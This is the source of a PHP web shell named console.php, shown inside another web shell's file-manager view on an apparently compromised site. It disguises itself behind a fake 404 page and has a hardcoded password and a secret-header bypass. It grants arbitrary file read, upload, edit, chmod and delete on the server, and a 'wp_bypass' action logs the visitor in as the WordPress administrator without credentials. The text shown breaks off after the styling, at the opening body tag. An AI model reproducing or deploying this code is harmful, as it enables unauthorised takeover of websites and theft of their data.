Sindbad~EG File Manager
| Current Path : /home/d/p/a/dparejd/www/ |
|
|
| Current File : /home/d/p/a/dparejd/www/console.php |
<?php
/**
* =============================================================================
* HXN | E.L.V "WHY ALWAYS ME"
* =============================================================================
* AUTHOR : HxN
* EDITION : HXN 8BIT CYBERPUNK
* NOTE : 404 FORBIDDEN WITHOUT ?id=@elv
* =============================================================================
*/
@ob_start();
@ini_set('output_buffering', 0);
session_start();
error_reporting(0);
set_time_limit(0);
// ====================== URL RESOURCES ======================
$skull_img = "https://l.top4top.io/p_38449nedh0.png";
$logo_url = $skull_img;
// ====================== 404 FORBIDDEN GATE — FULL 8BIT GAME OVER ======================
function render_404() {
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die('<!DOCTYPE html><html><head><title>GAME OVER</title>
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet">
<style>
*{margin:0;padding:0;box-sizing:border-box;image-rendering:pixelated;}
body{
background:#0a0018;
display:flex;align-items:center;justify-content:center;
height:100vh;margin:0;
font-family:"Press Start 2P",monospace;
overflow:hidden;
flex-direction:column;
position:relative;
}
body::before{
content:"";
position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(10,0,24,0.88);
z-index:0;
}
.gameover-box{
position:relative;z-index:1;
text-align:center;
padding:40px 60px;
border:4px solid rgba(255,0,255,0.2);
box-shadow:0 0 60px rgba(255,0,255,0.08), inset 0 0 60px rgba(255,0,255,0.02);
max-width:700px;
}
.gameover-box::before{
content:"";
position:absolute;
top:-1px;left:30px;right:30px;
height:2px;
background:linear-gradient(90deg,transparent,#ff00ff,transparent);
}
.gameover-box::after{
content:"";
position:absolute;
bottom:-1px;left:30px;right:30px;
height:2px;
background:linear-gradient(90deg,transparent,#00ffff,transparent);
}
.gameover-title{
color:#ff00ff;
font-size:72px;
text-shadow:0 0 40px rgba(255,0,255,0.3), 0 0 80px rgba(255,0,255,0.1);
letter-spacing:12px;
line-height:1.1;
margin-bottom:15px;
}
.gameover-sub{
color:#ff0044;
font-size:16px;
letter-spacing:8px;
margin-bottom:20px;
text-shadow:0 0 20px rgba(255,0,68,0.15);
}
.gameover-credit{
color:#00ffff;
font-size:10px;
letter-spacing:6px;
text-shadow:0 0 12px rgba(0,255,255,0.06);
margin-top:10px;
opacity:0.5;
}
.glitch{animation:glitch 2s step-end infinite;}
@keyframes glitch{
0%,90%,100%{opacity:1;transform:translateX(0);}
92%{opacity:0.8;transform:translateX(-4px);}
94%{opacity:0.9;transform:translateX(4px);}
96%{opacity:0.85;transform:translateX(-2px);}
98%{opacity:0.95;transform:translateX(2px);}
}
.blink{animation:blink 1.4s step-end infinite;}
@keyframes blink{0%,100%{opacity:1;}50%{opacity:0;}}
@media(max-width:768px){
.gameover-box{padding:25px 30px;}
.gameover-title{font-size:42px;letter-spacing:8px;}
.gameover-sub{font-size:12px;}
}
</style></head><body>
<div class="gameover-box">
<div class="gameover-title glitch">GAME<br>OVER</div>
<div class="gameover-sub blink">// ACCESS DENIED //</div>
<div style="color:#ffff00;font-size:11px;letter-spacing:4px;margin:10px 0;opacity:0.3;">[ 404 NOT FOUND ]</div>
<div class="gameover-credit">HxN // E.L.V</div>
</div>
</body></html>');
}
if (!isset($_GET['id']) || $_GET['id'] !== '@elv') {
if (!isset($_SESSION['elv_gate']) && !isset($_SESSION['logged_in'])) {
render_404();
}
}
// ================= TACTICAL BYPASS =================
if (isset($_SERVER['HTTP_X_AUTH_TOKEN']) && $_SERVER['HTTP_X_AUTH_TOKEN'] === 'WHY-ALWAYS-ME') {
$_SESSION['elv_gate'] = true;
$_SESSION['logged_in'] = true;
}
if (isset($_GET['id']) && $_GET['id'] === '@elv') {
$_SESSION['elv_gate'] = true;
if (isset($_POST['cmd']) || isset($_FILES['up_file']) || isset($_GET['action']) || isset($_POST['mass_up'])) {
$_SESSION['logged_in'] = true;
}
}
if (!isset($_SESSION['elv_gate'])) {
render_404();
}
// ======================================================
$password = "MrHaxorN0N4M3#123";
if (isset($_GET['logout'])) { session_destroy(); header("Location: ?id=@elv"); exit; }
if (isset($_POST['pass'])) { if ($_POST['pass'] == $password) { $_SESSION['logged_in'] = true; } }
if (!isset($_SESSION['logged_in'])) {
die("<!DOCTYPE html><html><head><title>HXN 8BIT - LOGIN</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');
body{background:#0a0018 url('".addslashes($logo_url)."') center/cover fixed;color:#ff00ff;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;font-family:'Press Start 2P',monospace;overflow:hidden;image-rendering:pixelated;}
body::before{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(10,0,24,0.75);z-index:-1;}
#particles{position:fixed;top:0;left:0;z-index:-1;}
.login-box{text-align:center;z-index:1;background:rgba(10,0,24,0.92);padding:40px 50px;border:4px solid #ff00ff;box-shadow:0 0 30px rgba(255,0,255,0.15);image-rendering:pixelated;}
input{background:rgba(20,0,40,0.9);border:4px solid #00ffff;color:#00ffff;padding:14px;text-align:center;font-size:16px;width:300px;outline:none;font-family:'Press Start 2P',monospace;letter-spacing:4px;transition:0.3s;box-shadow:0 0 10px rgba(0,255,255,0.08);}
input:focus{border-color:#ff00ff;box-shadow:0 0 20px rgba(255,0,255,0.12);}
h2{color:#ff00ff;text-shadow:0 0 15px rgba(255,0,255,0.3);text-transform:uppercase;letter-spacing:4px;margin-bottom:20px;font-size:14px;}
</style></head><body><canvas id='particles'></canvas>
<div class='login-box'>
<img src='".addslashes($logo_url)."' style='width:140px;filter:drop-shadow(0 0 15px rgba(255,0,255,0.2));margin-bottom:12px;border-radius:0;image-rendering:pixelated;'>
<h2>8BIT CYBERPUNK</h2>
<form method='POST'><input type='password' name='pass' placeholder='ACCESS KEY' autofocus autocomplete='off'></form>
<div style='font-size:8px;color:#00ffff;margin-top:12px;letter-spacing:2px;opacity:0.4;'>HXN // E.L.V v840.2</div>
</div>
<script>
const c=document.getElementById('particles'),ctx=c.getContext('2d');
c.height=innerHeight;c.width=innerWidth;
let p=[];
for(let i=0;i<60;i++){p.push({x:Math.random()*c.width,y:Math.random()*c.height,vx:(Math.random()-0.5)*0.6,vy:(Math.random()-0.5)*0.6,s:Math.random()*2+1})}
function draw(){ctx.fillStyle='rgba(10,0,24,0.06)';ctx.fillRect(0,0,c.width,c.height);
p.forEach(pp=>{ctx.fillStyle=Math.random()>0.5?'#ff00ff':'#00ffff';
ctx.fillRect(Math.floor(pp.x/4)*4,Math.floor(pp.y/4)*4,Math.max(pp.s*2,2),Math.max(pp.s*2,2));
pp.x+=pp.vx;pp.y+=pp.vy;if(pp.x<0||pp.x>c.width)pp.vx*=-1;if(pp.y<0||pp.y>c.height)pp.vy*=-1;});
requestAnimationFrame(draw);}
draw();
</script></body></html>");
}
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace('\\', '/', realpath($path));
$dir = $path;
$view_mode = isset($_GET['view_mode']) ? $_GET['view_mode'] : 'list';
$msg = "";
$mass_log = "";
// ===== PAGE UP: ambil parent directory =====
$parent_dir = dirname($path);
if ($parent_dir == $path) $parent_dir = '/'; // root
if(isset($_GET['download'])){
$file = $_GET['download'];
if(file_exists($file)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
readfile($file);
exit;
}
}
function safeName($n) { return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $n); }
if(isset($_POST['new_folder_name'])){ if(mkdir($path.'/'.$_POST['new_folder_name'])){ $msg = "<div class='msg ok'>+ FOLDER CREATED</div>"; } }
if(isset($_POST['new_file_name'])){ if(file_put_contents($path.'/'.$_POST['new_file_name'], "")){ $msg = "<div class='msg ok'>+ FILE CREATED</div>"; } }
if(isset($_FILES['up_file'])){ if(copy($_FILES['up_file']['tmp_name'], $path.'/'.$_FILES['up_file']['name'])){ $msg = "<div class='msg ok'>+ DEPLOYED: ".$_FILES['up_file']['name']."</div>"; } }
if(isset($_POST['new_chmod'])){ $ct = $_POST['chmod_target']; if(chmod($ct, octdec($_POST['new_chmod']))){ $msg = "<div class='msg ok'>+ CHMOD: ".$ct." → ".$_POST['new_chmod']."</div>"; } }
if(isset($_POST['rename_do']) && isset($_POST['old_name']) && isset($_POST['new_name'])){ if(rename($_POST['old_name'], dirname($_POST['old_name']).'/'.$_POST['new_name'])){ $msg = "<div class='msg ok'>+ RENAMED</div>"; } }
if(isset($_POST['new_content']) && isset($_POST['edit_target'])){ if(file_put_contents($_POST['edit_target'], $_POST['new_content'])){ $msg = "<div class='msg ok'>+ SAVED: ".basename($_POST['edit_target'])."</div>"; } }
if(isset($_GET['del'])){ $d = $_GET['del']; if(is_dir($d)){ rmdir($d); $msg = "<div class='msg ok'>- DIR DELETED</div>"; } else { unlink($d); $msg = "<div class='msg ok'>- FILE DELETED</div>"; } }
if(isset($_POST['mass_up']) && isset($_FILES['m_file'])){
$root = isset($_POST['mass_root']) ? $_POST['mass_root'] : $path.'/';
if(copy($_FILES['m_file']['tmp_name'], $root.'/'.$_FILES['m_file']['name'])){
$mass_log .= "<div style='color:#00ff9f;font-size:9px;'>+ ".$_FILES['m_file']['name']."</div>";
}
}
if(isset($_GET['action']) && $_GET['action']=='wp_bypass'){
$wp_root = $path;
for($i=0;$i<5;$i++){
if(file_exists($wp_root.'/wp-load.php')){ require_once($wp_root.'/wp-load.php'); $wp_user = get_user_by('login','admin'); if(!$wp_user){ $wp_user = get_users(['role'=>'administrator'])[0]; } wp_set_current_user($wp_user->ID); wp_set_auth_cookie($wp_user->ID); $mass_log .= "<div style='color:#00ff9f;'>+ WP BYPASS: {$wp_user->user_login}</div>"; break; } else { $wp_root = dirname($wp_root); if($wp_root == '/' || $wp_root == '.') break; }
}
if(empty($mass_log)) $mass_log .= "<div style='color:#ff0044;'>× WP-LOAD NOT FOUND</div>";
}
if(isset($_POST['create_subdo']) && isset($_POST['sub_name'])){
$name = safeName($_POST['sub_name']);
if($name && !is_dir($path.'/'.$name)){ mkdir($path.'/'.$name); file_put_contents($path.'/'.$name.'/index.php','<?php header("Location: ?id=@elv"); ?>'); $msg = "<div class='msg ok'>+ SUBDO: {$name}</div>"; }
}
if (!function_exists('perms')) {
function perms($f) {
$p = fileperms($f);
$infos = '';
if (($p & 0xC000) == 0xC000) $infos = 's';
elseif (($p & 0xA000) == 0xA000) $infos = 'l';
elseif (($p & 0x8000) == 0x8000) $infos = '-';
elseif (($p & 0x6000) == 0x6000) $infos = 'b';
elseif (($p & 0x4000) == 0x4000) $infos = 'd';
elseif (($p & 0x2000) == 0x2000) $infos = 'c';
elseif (($p & 0x1000) == 0x1000) $infos = 'p';
else $infos = 'u';
$infos .= (($p & 0x0100) ? 'r' : '-');
$infos .= (($p & 0x0080) ? 'w' : '-');
$infos .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
$infos .= (($p & 0x0020) ? 'r' : '-');
$infos .= (($p & 0x0010) ? 'w' : '-');
$infos .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
$infos .= (($p & 0x0004) ? 'r' : '-');
$infos .= (($p & 0x0002) ? 'w' : '-');
$infos .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
return $infos;
}
}
$server_soft = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?';
$server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '?';
$client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '?';
$php_ver = phpversion();
$kernel = php_uname('s').' '.php_uname('r');
$hdd_total = @round(disk_total_space("/") / 1073741824, 1);
$hdd_free = @round(disk_free_space("/") / 1073741824, 1);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HXN 8BIT CYBERPUNK</title>
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/hybrid.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
<style>
/* ===== RESET ===== */
*{margin:0;padding:0;box-sizing:border-box;image-rendering:pixelated;}
body{
background:#0a0018;
background-image:url('<?php echo $logo_url; ?>');
background-size:cover;
background-position:center;
background-attachment:fixed;
background-repeat:no-repeat;
color:#ff00ff;
font-family:'Press Start 2P',monospace;
font-size:16px;
overflow-x:hidden;
image-rendering:pixelated;
position:relative;
min-height:100vh;
padding-bottom:50px;
}
body::before{
content:'';
position:fixed;
top:0;left:0;width:100%;height:100%;
background:rgba(10,0,24,0.88);
pointer-events:none;
z-index:0;
}
#particles{
position:fixed;
top:0;left:0;
z-index:0;
pointer-events:none;
}
::-webkit-scrollbar{width:6px;height:6px;}
::-webkit-scrollbar-track{background:#0a0018;}
::-webkit-scrollbar-thumb{background:rgba(255,0,255,0.25);}
::-webkit-scrollbar-thumb:hover{background:rgba(255,0,255,0.5);}
::selection{background:rgba(255,0,255,0.12);color:#fff;}
.container{
position:relative;
z-index:1;
max-width:1200px;
margin:0 auto;
padding:25px 25px 35px 25px;
}
/* ===== SECTION DIVIDER — FULL BORDER GLOW ===== */
.section{
position:relative;
border:4px solid rgba(255,0,255,0.18);
background:rgba(10,0,24,0.40);
padding:22px 24px;
margin-bottom:22px;
box-shadow:0 0 30px rgba(255,0,255,0.05), inset 0 0 25px rgba(255,0,255,0.03);
}
.section::before{
content:'';
position:absolute;
top:-4px;left:25px;right:25px;
height:4px;
background:linear-gradient(90deg, transparent, #ff00ff, transparent);
}
.section::after{
content:'';
position:absolute;
bottom:-4px;left:25px;right:25px;
height:4px;
background:linear-gradient(90deg, transparent, #00ffff, transparent);
}
/* Variant untuk card dalam (sub-section) */
.subsec{
border:3px solid rgba(0,255,255,0.10);
padding:15px 18px;
background:rgba(10,0,24,0.18);
}
/* ===== HERO ===== */
.hero{
text-align:center;
padding:28px 20px;
border:4px solid rgba(255,0,255,0.15);
background:rgba(10,0,24,0.50);
margin-bottom:22px;
position:relative;
box-shadow:
0 0 40px rgba(255,0,255,0.08),
0 0 80px rgba(255,0,255,0.04),
inset 0 0 40px rgba(255,0,255,0.03),
inset 0 0 80px rgba(255,0,255,0.02);
border-image:linear-gradient(135deg, rgba(255,0,255,0.20), rgba(0,255,255,0.20)) 1;
}
.hero::before{
content:'┌─── ⋆⋅☆⋅⋆ ───┐';
position:absolute;
top:-13px;
left:50%;
transform:translateX(-50%);
background:#0a0018;
padding:0 16px;
font-size:10px;
color:rgba(255,0,255,0.20);
letter-spacing:4px;
white-space:nowrap;
}
.hero::after{
content:'';
position:absolute;
top:-4px;left:25px;right:25px;
height:3px;
background:linear-gradient(90deg, transparent, #ff00ff, #00ffff, transparent);
filter:blur(3px);
}
.hero-logo{
width:120px;
height:auto;
filter:drop-shadow(0 0 40px rgba(255,0,255,0.20));
image-rendering:pixelated;
margin-bottom:12px;
}
.hero-ascii{
color:#ff00ff;
font-size:13px;
line-height:14px;
text-shadow:0 0 20px rgba(255,0,255,0.15), 0 0 40px rgba(255,0,255,0.06);
font-family:'Press Start 2P',monospace;
white-space:pre;
letter-spacing:0;
text-align:center;
display:inline-block;
}
.hero-sub{
color:#00ffff;
font-size:14px;
letter-spacing:6px;
text-shadow:0 0 12px rgba(0,255,255,0.10), 0 0 25px rgba(0,255,255,0.05);
margin-top:10px;
text-align:center;
}
.hero-info{
font-size:12px;
color:rgba(255,255,255,0.20);
letter-spacing:3px;
text-align:center;
border:4px solid rgba(255,0,255,0.10);
padding:12px 20px;
background:rgba(10,0,24,0.30);
line-height:2.2;
display:inline-block;
margin-top:12px;
box-shadow:0 0 20px rgba(255,0,255,0.04), inset 0 0 20px rgba(255,0,255,0.03);
}
.hero-info .lbl{color:#ff00ff;font-size:12px;text-shadow:0 0 8px rgba(255,0,255,0.08);}
.hero-info .sep{color:rgba(255,0,255,0.10);margin:0 6px;}
.hero-info .hl{color:#00ffff;font-size:12px;text-shadow:0 0 8px rgba(0,255,255,0.08);}
/* ===== NAV BAR ===== */
.nav-row{
display:flex;
justify-content:center;
align-items:center;
flex-wrap:wrap;
gap:18px;
margin:4px 0;
}
.btn-neon{
padding:14px 28px;
background:rgba(10,0,24,0.35);
border:4px solid rgba(255,0,255,0.10);
color:#ff00ff;
font-family:'Press Start 2P',monospace;
font-size:16px;
text-decoration:none;
letter-spacing:3px;
cursor:pointer;
display:inline-flex;
align-items:center;
justify-content:center;
gap:10px;
text-align:center;
white-space:nowrap;
transition:all 0.15s;
min-width:140px;
image-rendering:pixelated;
user-select:none;
position:relative;
}
.btn-neon .ico{font-size:24px;filter:drop-shadow(0 0 5px currentColor);}
.btn-neon:hover{
border-color:#ff00ff;
background:rgba(255,0,255,0.06);
box-shadow:0 0 22px rgba(255,0,255,0.08);
}
.btn-neon.cyan{border-color:rgba(0,255,255,0.10);color:#00ffff;}
.btn-neon.cyan:hover{border-color:#00ffff;box-shadow:0 0 22px rgba(0,255,255,0.08);}
.btn-neon.danger{border-color:rgba(255,0,68,0.10);color:#ff0044;}
.btn-neon.danger:hover{border-color:#ff0044;box-shadow:0 0 22px rgba(255,0,68,0.08);}
.btn-neon.warning{border-color:rgba(255,255,0,0.10);color:#ffff00;}
.btn-neon.warning:hover{border-color:#ffff00;box-shadow:0 0 22px rgba(255,255,0,0.08);}
/* ===== PATH BAR ===== */
.path-bar{
padding:14px 18px;
background:rgba(10,0,24,0.18);
border:3px solid rgba(255,0,255,0.08);
font-size:14px;
word-break:break-all;
letter-spacing:2px;
text-align:center;
display:flex;
align-items:center;
justify-content:center;
flex-wrap:wrap;
gap:6px;
}
.nav-link{
color:#00ffff;
text-decoration:none;
padding:6px 10px;
border:2px solid transparent;
font-size:14px;
white-space:nowrap;
transition:all 0.15s;
display:inline-block;
}
.nav-link:hover{
background:rgba(0,255,255,0.06);
border-color:rgba(255,0,255,0.20);
color:#ff00ff;
}
.path-sep{color:#ff00ff;margin:0 4px;font-size:12px;}
/* ===== PAGE UP BUTTON — DIPINDAHKAN KE ATAS DIRECTORY FILE ===== */
.page-up-btn{
display:inline-flex;
align-items:center;
gap:8px;
padding:14px 24px;
background:rgba(10,0,24,0.35);
border:4px solid rgba(0,255,255,0.12);
color:#00ffff;
font-family:'Press Start 2P',monospace;
font-size:16px;
text-decoration:none;
letter-spacing:2px;
cursor:pointer;
transition:all 0.15s;
margin:0 auto;
width:100%;
justify-content:center;
}
.page-up-btn:hover{
border-color:#00ffff;
background:rgba(0,255,255,0.06);
box-shadow:0 0 18px rgba(0,255,255,0.06);
}
/* ===== MESSAGE ===== */
.msg{
padding:14px 20px;
margin-bottom:16px;
font-size:14px;
letter-spacing:3px;
border:3px solid rgba(255,0,255,0.08);
text-align:center;
background:rgba(10,0,24,0.30);
}
.msg.ok{color:#00ff9f;border-color:rgba(0,255,159,0.12);box-shadow:0 0 16px rgba(0,255,159,0.04);}
/* ===== ACTION GRID — UPLOAD + CREATE (DIPISAH & DIPERBESAR) ===== */
.action-grid{
display:grid;
grid-template-columns:1fr 1fr 1fr;
gap:18px;
align-items:stretch;
}
/* Upload card — diperbesar */
.upload-card{
border:4px solid rgba(0,255,255,0.12);
background:rgba(10,0,24,0.25);
padding:20px 22px;
display:flex;
flex-direction:column;
justify-content:center;
position:relative;
}
.upload-card::before{
content:'';
position:absolute;
top:-4px;left:18px;right:18px;
height:3px;
background:linear-gradient(90deg, transparent, #00ffff, transparent);
}
.upload-card .upload-label{
color:#ff00ff;
font-size:16px;
letter-spacing:4px;
margin-bottom:12px;
text-align:center;
text-shadow:0 0 10px rgba(255,0,255,0.10);
}
.upload-card form{
display:flex;
flex-direction:column;
gap:12px;
align-items:center;
justify-content:center;
}
.upload-card input[type=file]{
color:#00ffff;
font-family:'Press Start 2P',monospace;
font-size:13px;
width:100%;
}
::file-selector-button{
background:transparent;
border:3px solid rgba(0,255,255,0.10);
color:#00ffff;
padding:12px 18px;
font-family:'Press Start 2P',monospace;
font-size:13px;
cursor:pointer;
transition:0.1s;
width:100%;
}
::file-selector-button:hover{border-color:#ff00ff;color:#ff00ff;}
/* Create cards — diperbesar */
.create-card{
border:4px solid rgba(255,0,255,0.10);
background:rgba(10,0,24,0.20);
padding:18px 20px;
display:flex;
flex-direction:column;
justify-content:center;
text-align:center;
position:relative;
}
.create-card::before{
content:'';
position:absolute;
top:-4px;left:18px;right:18px;
height:3px;
background:linear-gradient(90deg, transparent, #ff00ff, transparent);
}
.create-card .ctitle{
color:#ff00ff;
font-size:16px;
letter-spacing:3px;
margin-bottom:12px;
text-shadow:0 0 8px rgba(255,0,255,0.08);
}
.create-card form{
display:flex;
flex-direction:column;
gap:12px;
align-items:center;
justify-content:center;
}
.create-card input[type=text]{
background:rgba(10,0,24,0.30);
border:3px solid rgba(255,0,255,0.08);
color:#ff00ff;
padding:12px 16px;
font-size:14px;
font-family:'Press Start 2P',monospace;
outline:none;
width:100%;
transition:0.15s;
}
.create-card input[type=text]:focus{
border-color:rgba(0,255,255,0.15);
}
.create-card .qbtn{
padding:12px 18px;
background:transparent;
border:3px solid rgba(255,0,255,0.08);
color:#ff00ff;
font-family:'Press Start 2P',monospace;
font-size:14px;
cursor:pointer;
white-space:nowrap;
transition:0.1s;
width:100%;
}
.create-card .qbtn:hover{border-color:#ff00ff;background:rgba(255,0,255,0.05);}
/* ===== TABLE — DIPERBESAR ===== */
.table-wrap{
overflow-x:auto;
border:3px solid rgba(255,0,255,0.06);
}
table{width:100%;border-collapse:collapse;min-width:640px;}
th{
padding:16px 18px;
text-align:left;
border-bottom:3px solid rgba(255,0,255,0.10);
letter-spacing:4px;
font-size:15px;
color:#ff00ff;
background:rgba(20,0,40,0.18);
}
th:nth-child(3){color:#ffff00;}
th:nth-child(4){color:#00ffff;}
td{
padding:16px 18px;
background:rgba(10,0,24,0.03);
border-bottom:2px solid rgba(255,0,255,0.02);
word-break:break-all;
font-size:14px;
}
tr:hover td{background:rgba(255,0,255,0.012);}
.file-link{
text-decoration:none;
cursor:pointer;
transition:all 0.1s;
padding:6px 10px;
display:inline-block;
font-size:14px;
}
.file-link.green{color:#00ff9f;text-shadow:0 0 6px rgba(0,255,159,0.08);}
.file-link.green:hover{background:rgba(0,255,159,0.03);}
.file-link.red{color:#ff0044;text-shadow:0 0 6px rgba(255,0,68,0.08);}
.file-link.red:hover{background:rgba(255,0,68,0.03);}
.file-link.cyan{color:#00ffff;text-shadow:0 0 6px rgba(0,255,255,0.08);}
.file-link.cyan:hover{background:rgba(0,255,255,0.03);}
.act-group{display:flex;flex-wrap:wrap;gap:6px;}
.act-btn{
padding:10px 14px;
font-family:'Press Start 2P',monospace;
font-size:11px;
text-decoration:none;
letter-spacing:0;
border:3px solid rgba(255,0,255,0.05);
color:#ff00ff;
background:transparent;
transition:all 0.1s;
display:inline-block;
white-space:nowrap;
}
.act-btn:hover{border-color:#ff00ff;background:rgba(255,0,255,0.03);}
.act-btn.edit{border-color:rgba(0,255,255,0.06);color:#00ffff;}
.act-btn.edit:hover{border-color:#00ffff;}
.act-btn.get{border-color:rgba(0,255,255,0.06);color:#00ffff;}
.act-btn.get:hover{border-color:#00ffff;}
.act-btn.ren{border-color:rgba(255,255,0,0.06);color:#ffff00;}
.act-btn.ren:hover{border-color:#ffff00;}
.act-btn.mod{border-color:rgba(0,255,159,0.06);color:#00ff9f;}
.act-btn.mod:hover{border-color:#00ff9f;}
.act-btn.del{border-color:rgba(255,0,68,0.06);color:#ff0044;}
.act-btn.del:hover{border-color:#ff0044;}
.perms-green{color:#00ff9f;font-size:14px;}
.perms-red{color:#ff0044;font-size:14px;}
.size-col{color:rgba(255,255,255,0.20);font-size:13px;}
/* ===== TERMINAL ===== */
.term-container{
background:rgba(8,0,20,0.92);
border:3px solid rgba(255,0,255,0.10);
overflow:hidden;
margin-bottom:0;
}
.term-header{
background:rgba(20,0,40,0.18);
border-bottom:3px solid rgba(255,0,255,0.06);
color:#00ffff;
padding:14px 22px;
font-size:15px;
display:flex;justify-content:space-between;
letter-spacing:3px;
}
.term-body{
padding:22px;
font-family:'Press Start 2P',monospace;
font-size:16px;
color:#00ffff;
min-height:200px;
max-height:450px;
overflow-y:auto;
line-height:2.4;
}
.term-body pre{
font-family:'Press Start 2P',monospace;
font-size:15px;
white-space:pre-wrap;
word-break:break-all;
}
.term-input-wrap{
display:flex;
background:rgba(10,0,24,0.25);
padding:14px 22px;
border-top:3px solid rgba(255,0,255,0.05);
align-items:center;
}
.term-input{
background:transparent;
border:none;
color:#ff00ff;
font-family:'Press Start 2P',monospace;
font-size:16px;
outline:none;
width:100%;
}
.term-prompt{color:#00ffff;margin-right:12px;font-size:15px;}
/* ===== TOOLS ===== */
.grid-3{
display:grid;
grid-template-columns:repeat(auto-fit,minmax(300px,1fr));
gap:18px;
}
.tool-card{
border:3px solid rgba(255,0,255,0.08);
padding:18px;
background:rgba(10,0,24,0.12);
position:relative;
}
.tool-card::before{
content:'';
position:absolute;
top:-3px;left:18px;right:18px;
height:3px;
background:linear-gradient(90deg, transparent, #00ffff, transparent);
}
.tool-card h3{
color:#00ffff;
text-shadow:0 0 6px rgba(0,255,255,0.08);
margin-bottom:12px;
font-size:15px;
letter-spacing:4px;
border-bottom:2px solid rgba(0,255,255,0.06);
padding-bottom:10px;
}
.tool-card .info{
margin-top:12px;
padding:12px;
background:rgba(10,0,24,0.25);
border:3px dashed rgba(255,0,255,0.03);
color:#00ffff;
font-size:12px;
line-height:2;
}
/* ===== EDITOR ===== */
.editor-wrap{
background:rgba(8,0,20,0.88);
border:3px solid rgba(255,0,255,0.10);
overflow:hidden;
margin-bottom:0;
}
.editor-header{
background:rgba(20,0,40,0.15);
border-bottom:3px solid rgba(255,0,255,0.04);
padding:14px 22px;
display:flex;
justify-content:space-between;
align-items:center;
flex-wrap:wrap;
gap:12px;
}
.editor-header .fn{color:#ff00ff;font-size:15px;letter-spacing:3px;}
.editor-header .lang{color:#00ffff;font-size:13px;letter-spacing:3px;}
.syntax-editor-container{
position:relative;
width:100%;
min-height:450px;
}
.syntax-editor-container textarea,
.syntax-editor-container pre{
margin:0;
padding:22px;
font-family:'Press Start 2P',monospace;
font-size:15px !important;
line-height:2;
tab-size:4;
white-space:pre-wrap;
word-wrap:break-word;
overflow:auto;
width:100%;
min-height:450px;
border:none;
box-sizing:border-box;
}
.syntax-editor-container pre{
position:absolute;
top:0;left:0;
pointer-events:none;
background:transparent;
color:transparent;
z-index:1;
margin:0;
border:none;
overflow:auto;
}
.syntax-editor-container pre code{
background:transparent !important;
font-family:'Press Start 2P',monospace !important;
font-size:15px !important;
line-height:2 !important;
}
.syntax-editor-container textarea{
position:relative;
z-index:2;
background:transparent;
color:transparent;
caret-color:#ff00ff;
resize:vertical;
outline:none;
border:none;
}
.hljs{background:transparent !important;color:#00ffff !important;}
.hljs-keyword{color:#ff00ff !important;}
.hljs-string{color:#00ff9f !important;}
.hljs-number{color:#ffff00 !important;}
.hljs-comment{color:rgba(255,0,255,0.30) !important;}
.hljs-function{color:#00ffff !important;}
.hljs-title{color:#00ffff !important;}
.hljs-built_in{color:#ff00ff !important;}
.hljs-variable{color:#ff0044 !important;}
.hljs-attr{color:#ffff00 !important;}
.hljs-tag{color:#ff00ff !important;}
.hljs-name{color:#ff00ff !important;}
.hljs-attribute{color:#00ffff !important;}
.hljs-literal{color:#ffff00 !important;}
.editor-actions{
padding:16px 22px;
border-top:3px solid rgba(255,0,255,0.04);
display:flex;
justify-content:flex-end;
gap:16px;
flex-wrap:wrap;
}
.btn-save{
padding:14px 28px;
background:transparent;
border:4px solid #00ffff;
color:#00ffff;
font-family:'Press Start 2P',monospace;
font-size:15px;
letter-spacing:4px;
cursor:pointer;
transition:all 0.15s;
}
.btn-save:hover{background:rgba(0,255,255,0.05);box-shadow:0 0 18px rgba(0,255,255,0.06);}
.btn-cancel{
padding:14px 28px;
background:transparent;
border:4px solid #ff0044;
color:#ff0044;
font-family:'Press Start 2P',monospace;
font-size:15px;
letter-spacing:4px;
cursor:pointer;
text-decoration:none;
display:inline-flex;
align-items:center;
transition:all 0.15s;
}
.btn-cancel:hover{background:rgba(255,0,68,0.04);box-shadow:0 0 18px rgba(255,0,68,0.05);}
.inline-form{
display:flex;
flex-wrap:wrap;
gap:14px;
align-items:center;
}
.inline-form input[type=text],
.inline-form input[type=number]{
background:rgba(10,0,24,0.25);
border:3px solid rgba(255,0,255,0.08);
color:#ff00ff;
padding:12px 16px;
font-family:'Press Start 2P',monospace;
font-size:14px;
outline:none;
transition:0.15s;
}
.inline-form input:focus{border-color:rgba(0,255,255,0.12);}
.footer-static{
position:fixed;
bottom:0;left:0;width:100%;
background:rgba(10,0,24,0.94);
border-top:3px solid rgba(255,0,255,0.06);
padding:10px 0;
color:rgba(255,0,255,0.10);
z-index:10;
text-align:center;
font-size:11px;
letter-spacing:5px;
}
@media(max-width:768px){
.container{padding:14px;}
.btn-neon{padding:12px 20px;font-size:14px;min-width:100px;}
.btn-neon .ico{font-size:18px;}
.hero-ascii{font-size:8px;line-height:9px;}
.hero-logo{width:80px;}
.hero-sub{font-size:12px;}
.hero-info{font-size:10px;}
.action-grid{grid-template-columns:1fr;}
.section{padding:16px 18px;}
.term-body{font-size:14px;}
th,td{padding:10px 12px;font-size:12px;}
.act-btn{padding:6px 10px;font-size:10px;}
.file-link{font-size:12px;}
}
</style>
</head>
<body>
